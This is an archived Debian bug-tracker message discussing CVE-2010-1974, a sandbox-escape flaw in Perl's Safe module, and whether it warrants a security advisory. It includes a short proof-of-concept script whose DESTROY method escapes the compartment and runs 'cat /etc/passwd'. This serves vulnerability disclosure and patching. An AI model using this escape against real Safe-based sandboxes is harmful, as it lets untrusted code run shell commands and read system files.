Bug#582806: perl: CVE-2010-1974: multiple unspecified vulnerabilities in Safe

[Niko Tyni]

On Sun, May 30, 2010 at 02:46:08PM +0200, Moritz Muehlenhoff wrote:
> Niko Tyni wrote:

> > Quoting http://security-tracker.debian.org/tracker/CVE-2010-1974 :
> > 
> >   Multiple unspecified vulnerabilities in the Safe (aka Safe.pm) module
> >   before 2.25 for Perl allow context-dependent attackers to inject and
> >   execute arbitrary code via vectors related to "automagic methods." NOTE:
> >   this might overlap CVE-2010-1169 or CVE-2010-1447.

> Would anyone use Safe to run potentially harmful code in a sandbox-like
> environment? If it's more or less a debugging/testing feature, we don't
> need to update it through a DSA, especially if it causes regressions.

Yes, I think people are using Safe to get a sandbox. The perlsec
document sort of recommends it, and the 3rd edition of the "Camel" book
("Programming Perl") has a whole section about this called "Handling
Insecure Code".

 http://projects.autonomy.net.au/ai/chrome/site/resource/ebooks-programming/perl/perl_bookshelf_2/prog/ch23_03.htm

A real world example is

 http://search.cpan.org/~ferrency/Text-MicroMason-2.09/MicroMason/Safe.pm 
(which is in Debian as libtext-micromason-perl, currently only in squeeze+sid)

Also, while I'm not clear on the attack vectors,
 http://search.cpan.org/dist/Petal/
(in Debian lenny as libpetal-perl) uses a Safe compartment for tainted data.

I believe a simple example of this vulnerability would be

#!/usr/bin/perl -w
use strict;

use Safe;

my $c = Safe->new;

$c->permit(qw/entereval print/);

$c->reval(<<'EOF'); die $@ if $@;
package MyClass;
    sub new { my $class = shift; bless {}, ref $class || $class }
    sub DESTROY { print for eval 'qx|cat /etc/passwd|' }
1;

MyClass->new;
EOF
__END__

where the code fed to reval() would actually come from an external source.

This shows /etc/passwd contents for Safe << 2.25 but nothing on 2.25
because it clears any DESTROY and AUTOLOAD routines after reval().

I think a DSA may be in order. I'll fix this in sid soon by updating
everything to 2.25, but I hope a targeted lenny patch for this will not
prove too difficult. If this is the only fix needed, I don't see much
potential for regressions.
-- 
Niko Tyni   ntyni at debian.org